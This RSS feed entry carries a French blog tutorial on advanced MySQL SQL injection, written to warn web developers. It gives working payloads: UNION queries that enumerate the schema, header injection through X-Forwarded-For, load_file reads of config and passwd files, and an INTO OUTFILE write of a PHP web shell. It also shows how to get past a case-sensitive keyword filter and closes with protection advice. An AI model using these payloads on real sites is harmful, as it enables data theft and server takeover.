<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mohammed CHERIFI &#187; mysql_real_escape_string</title>
	<atom:link href="http://www.mcherifi.org/tag/mysql_real_escape_string/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mcherifi.org</link>
	<description>Another Web Developper Blog!</description>
	<lastBuildDate>Tue, 31 Jan 2012 18:42:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>[Tutoriel] &#8211; SQL Injection Avancée (Partie 2)</title>
		<link>http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html</link>
		<comments>http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html#comments</comments>
		<pubDate>Mon, 16 Nov 2009 01:24:12 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[bypasser filtre sql]]></category>
		<category><![CDATA[faille urlencode]]></category>
		<category><![CDATA[into outfile]]></category>
		<category><![CDATA[load_file]]></category>
		<category><![CDATA[mysql_real_escape_string]]></category>
		<category><![CDATA[protection sql injection]]></category>
		<category><![CDATA[securiser sql injection]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[tutorial sql injection]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=408</guid>
		<description><![CDATA[Tweet Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l&#8217;épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d&#8217;erreurs et injecter des données depuis [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html" data-text="[Tutoriel] - SQL Injection Avancée (Partie 2)" data-count="horizontal">Tweet</a><p><img alt="Advanced SQL Injection" src="http://easydownload.ru/uploads/posts/2009-04/1240341405_518053737_8a9794389e.jpg" title="Advanced SQL Injection" class="alignleft" width="212" height="120"/> Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l&#8217;<a title="Tutorial SQL Injection" href="http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html">épisode précèdent</a> ? On avait parlé des <a title="Tutorial SQL Injection" href="http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html">injections SQL classiques</a>, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d&#8217;erreurs et injecter des données depuis la base de données!</p>
<p>Aujourd&#8217;hui on verra de plus prêt le danger réel que représente une injection SQL sur un site,  l&#8217;objectif est que tout développeur web aie conscience du risque encouru que resprésente une Injection SQL, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)</p>
<p>Savez vous qu&#8217;avec une injection SQL un attaquant peut:</p>
<ul>
<li>Récupérer les noms des tables et des champs et injecter des données sensibles</li>
<li>Injecter un paramètre dans une entête HTTP</li>
<li>Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante</li>
</ul>
<h2>MySQL et information_schema</h2>
<p>Alors pour commencer, et comme j&#8217;avais dit dans l&#8217;article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!</p>
<p>En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l&#8217;utilisateur courant</p>
<p>Le problème c&#8217;est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!</p>
<p>En reprenant l&#8217;exemple que j&#8217;avais donné dans le premier tutorial <small>(<em>Injecter des données depuis une table</em>)</small> , voici un bout de code qui permet de lister les noms des tables présentes sur une base!</p>
<pre class="brush: php">
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--
</pre>
<p>Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l&#8217;attaquant peut lister toutes les tables on rajoutant la clause LIMIT</p>
<blockquote><p>profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 1,1&#8211;<br />
// ou encore<br />
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 2.1&#8211;</p></blockquote>
<h2>Injection des noms de champs</h2>
<p>Les noms des champs existe dans la table COLUMNS , un simple union peut permettre à un attaquant d&#8217;injecter ces derniers!<br />
// afficher le premier champ</p>
<blockquote><p>
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=&#8217;users&#8217; &#8211;<br />
// afficher le troisième champ<br />
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=&#8217;users&#8217; LIMIT 2,1&#8211;
</p></blockquote>
<h2>SQL Injection et les entêtes HTTP</h2>
<p>L&#8217;une parmi les erreurs que certains programmeurs commettent lors du développement d&#8217;une application, est le fait de faire confiance aux variables d&#8217;environnement et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n&#8217;est pas suffisant</p>
<p>Voici un exemple pour démontrer le risque encouru:</p>
<p><em>On considère un script de <em>rating</em>, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l&#8217;adresse IP de l&#8217;utilisateur en prenant en compte l&#8217;utilisation d&#8217;un proxy (X_FORWARDED_FOR) avec la fonction suivante:</em></p>
<pre class="brush: php">function get_real_ip(){
return isset($_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;])
? $_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;]
: $_SERVER[&#039;REMOTE_ADDR&#039;];
}</pre>
<p>Le traitement se passe au niveau d&#8217;une page vote.php qui récupère la note et vérifie si l&#8217;adresse ip ne figure pas dans les ips ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d&#8217;erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l&#8217;article [toto] »</p>
<pre class="brush: php">
if(!empty($_POST[&#039;id&#039;]) &amp;&amp; !empty($_POST[&#039;note&#039;]))
{
$article_id = intval($_POST[&#039;id&#039;]);
$note = intval($_POST[&#039;note&#039;]);
$ip = get_real_ip();
$req = mysql_query(&quot;SELECT ip,titre FROM votes WHERE id = &#039;$article_id&#039; AND ip = &#039;$ip&#039;&quot;) or die(mysql_error());
if(mysql_num_row($req) &gt; 0){
$data = mysql_fetch_array();
echo &quot;Désolé &quot;.$data[&#039;ip&#039;].&quot; mais vous avez déjà voté pour l&#039;article &quot;.htmlspecialchars($data[&#039;titre&#039;])
}
else
{
// traitement ...
echo &quot;Merci pour votre vote&quot;;
}
}
</pre>
<p>Que se passe t&#8217;il si un attaquant envoie la requête HTTP suivante:</p>
<pre class="brush: html">
POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
X_FORWARDED_FOR: &#039; union select user(),2--
Connection: close

id=1&amp;amp;amp;amp;note=10
</pre>
<p><strong>Scénario</strong></p>
<p>La fonction  get_real_ip() retrouvera l&#8217;entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur :  &#8216; union select 1,2&#8211;</p>
<p>La requête SQL deviendra :</p>
<blockquote><p>SELECT ip,titre FROM votes WHERE id = &#8216;1&#8242; AND ip = &#8216; &#8216; union select user(),1111&#8211;&#8217;</p></blockquote>
<p>Le nombre de lignes retourné sera 1 &gt; 0 donc le message suivant s&#8217;affichera :</p>
<blockquote><p>Désolé root@localhost mais vous avez déjà voté pour l&#8217;article 1111</p></blockquote>
<p><small>d&#8217;où root@localhost et 1111 correspondent respectivement à user() et 1111</small></p>
<p>Vous l&#8217;avez bien compris? Il est possible de polluer l&#8217;entête HTTP X_FORWARDED_FOR avec du code SQL (&#8216; union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d&#8217;une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l&#8217;utilisateur!</p>
<h2>MYSQL et la permission FILE</h2>
<h3>Lire un fichier avec load_file()</h3>
<p>Lors de la création d&#8217;un utilisateur dans MYSQL, l&#8217;administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l&#8217;utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d&#8217;une requête SELECT</p>
<p><strong>exemple :</strong></p>
<blockquote><p>SELECT load_file(&#8216;/home/user/data_articles.txt&#8217;) INTO articles ;</p></blockquote>
<p>Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d&#8217;une injection sql peut permettre aux attaquants de lire n&#8217;importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d&#8217;un autre utilisateur sur le même serveur!</p>
<blockquote><p>profile.php?id=-1 UNION SELECT null, load_file(&#8216;/home/victimuser/public_html/config.php&#8217;)&#8211;</p></blockquote>
<h3>Écriture dans un fichier (OUTFILE/DUMPFILE)</h3>
<p>Si la permission FILE est assignée à l&#8217;utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d&#8217;écriture soient assignés au dossier/fichier en question</p>
<p>Dans mysql les fonctions OUTFILE et DUMPFILE permettent d&#8217;écrire dans un fichier, ainsi un attaquant peut s&#8217;en servir pour injecter du code PHP:</p>
<p>Exemples:</p>
<pre class="brush: sql">profile.php?id=-1 UNION SELECT null, &#039;&lt;?php system(\$_GET[cmd]) ?&gt;&#039; INTO OUTFILE &#039;/home/victime.com/public_html/uploads/shell.php&#039;--

profile.php?id=-1 UNION SELECT null,  &#039;&lt;?php system(\$_GET[cmd]) ?&gt;&#039; INTO DUMPFILE &#039;/home/victime.com/public_html/uploads/shell.php&#039;--</pre>
<p>L&#8217;exécution de cette requête provoquera la création d&#8217;un script shell.php dans le dossier nommé &laquo;&nbsp;upload&nbsp;&raquo; et permettra à l&#8217;attaquant d&#8217;exécuter des commandes système sur le serveur avec les droits du daemon apache.. </p>
<blockquote><p>http://www.victime.ltd/uploads/shell.php?cmd=ls -l</p></blockquote>
<p>Je vous laisse imaginer les conséquences que cela peut engendrer =)</p>
<h2>SQL injection et urlencode()</h2>
<p>J&#8217;ai remarqué sur certain script l&#8217;utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, en fête ce n&#8217;est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :</p>
<blockquote><p>Page : index.php?page=test</p></blockquote>
<blockquote><p>$sql = mysql_query(&laquo;&nbsp;SELECT title,content FROM pages WHERE page_name = &#8216;&nbsp;&raquo;.urlencode($_GET['page']).&nbsp;&raquo; &#8216;&nbsp;&raquo;);</p></blockquote>
<p>Ce code peut bien échapper un signle quote d&#8217;où <em>index.php?page=test&#8217;</em> génèrera la requête<br />
<em>SELECT title,content FROM pages WHERE page_name =  &#8216;test%27&#8242;</em></p>
<p>Tout est normale jusque là! Le single quote &#8216; est encodé en %27, mais que se passera t&#8217;il si on re-urlencode notre %27 en %2527 ? :)</p>
<p>Résultat: Ca va injecter un &#8216; au nez de la requête, du coup l&#8217;appelle de la page :<br />
<em>index.php?page=test%2527 union select null, &#8216;Hello&#8217;&#8211;</em> va produire la requête suivante :</p>
<blockquote><p>SELECT title,content FROM pages WHERE page_name=&#8217;test&#8217; union select null,&#8217;Hello&#8217;&#8211;&#8217;</p></blockquote>
<p>Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)</p>
<h2>MySQL et magic_quote_gpc</h2>
<p>magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet<br />
d&#8217;ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si<br />
cette directive est activée, il n&#8217;est pas possible d&#8217;injecter un signle quote dans une requête à une<br />
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n&#8217;y a pas que $_GET/$_POST/$_COOKIE en PHP =)</p>
<p>Voici des exemples d&#8217;un contournement possible permettant d&#8217;injecter une chaine en l&#8217;encodant en hexadécimale :</p>
<blockquote><p>Profile.php?id=-1, load_file(0&#215;2f6574632f706173737764)&#8211;</p></blockquote>
<p>la chaine 0&#215;2f6574632f706173737764 correspond à /etc/passwd, ainsi un attaquant peut encoder n&#8217;importe quelle chaine pour injecter par exemple les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..</p>
<p>L&#8217;activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l&#8217;activer et se dire que vous êtes à l&#8217;abri :)</p>
<h2>les Filtres anti-sql injection</h2>
<p>Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l&#8217;utilisateurs et detecter une éventuelle tentative d&#8217;attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d&#8217;être contourné!</p>
<p>Voici un exemple d&#8217;un filtre qui detecte le mot clé UNION dans une requette:</p>
<pre class="brush: php">
$apply_to = array(&#039;GET&#039;,&#039;POST&#039;,&#039;COOKIE&#039;);
$bad_words = array(&#039;union&#039;,&#039;order by&#039;,&#039;select&#039;,&#039;from&#039;,&#039;where&#039;);
foreach($apply_to as $g){
foreach($$g as $key =&gt; $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die(&#039;SQL Injection Attempt detected&#039;);
// Writing the log attaque into log file
}
}
}
}
</pre>
<p>Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!</p>
<p>immaginons l&#8217;appelle de la page</p>
<blockquote><p>profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users&#8211;</p></blockquote>
<p>un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c&#8217;est juste un exemple pour dire qu&#8217;avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible, le mieux à mon avis est d&#8217;adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d&#8217;un pirate ;)</p>
<h2>Comment se protéger contrer les injections SQL?</h2>
<p>Voilà donc! J&#8217;ai essayé d&#8217;exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c&#8217;est que chaque programmeur aie une vision claire de ce qu&#8217;un attaquant peut faire en passant par une injection!</p>
<p>Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :</p>
<ul>
<li>Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l&#8217;exploitation d&#8217;une injection (si elle existe) plus difficile pour un attaquant!</li>
<li>Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!</li>
<li>Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête</li>
<li>Ne jamais donner les droits FILE aux utilisateurs mysql</li>
<li>Après l&#8217;installation d&#8217;un serveur dedié, pensez à  modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases! </li>
<li>N&#8217;utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()</li>
<li>Pensez toujours à lire les fichiers logs d&#8217;apache, repérez les URL suspect et vérifier si c&#8217;est susceptible d&#8217;être vulnerable :)</li>
</ul>
<p>Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J&#8217;espère que ce tutorial vous a été utile, n&#8217;hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=http://twitter.com/home?status=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=http://www.facebook.com/share.php?u=TARGET%26t=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;annotation=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;notes=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;bodytext=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=http://ping.fm/ref/?link=TARGET%26title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29%26body=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&d=mailto:?subject=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;selection=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;submitHeadline=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;submitSummary=%20Me%20revoil%C3%A0%2C%20comme%20promis%20avec%20la%20suite%20de%20cette%20s%C3%A9rie%20de%20tutoriaux%2C%20vous%20vous%20rappelez%20bien%20de%20l%27%C3%A9pisode%20pr%C3%A9c%C3%A8dent%20%3F%20On%20avait%20parl%C3%A9%20des%20injections%20SQL%20classiques%2C%20on%20a%20vu%20comment%20un%20attaquant%20pourra%20by-passer%20une%20identification%2C%20%C3%A9galement%20com&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
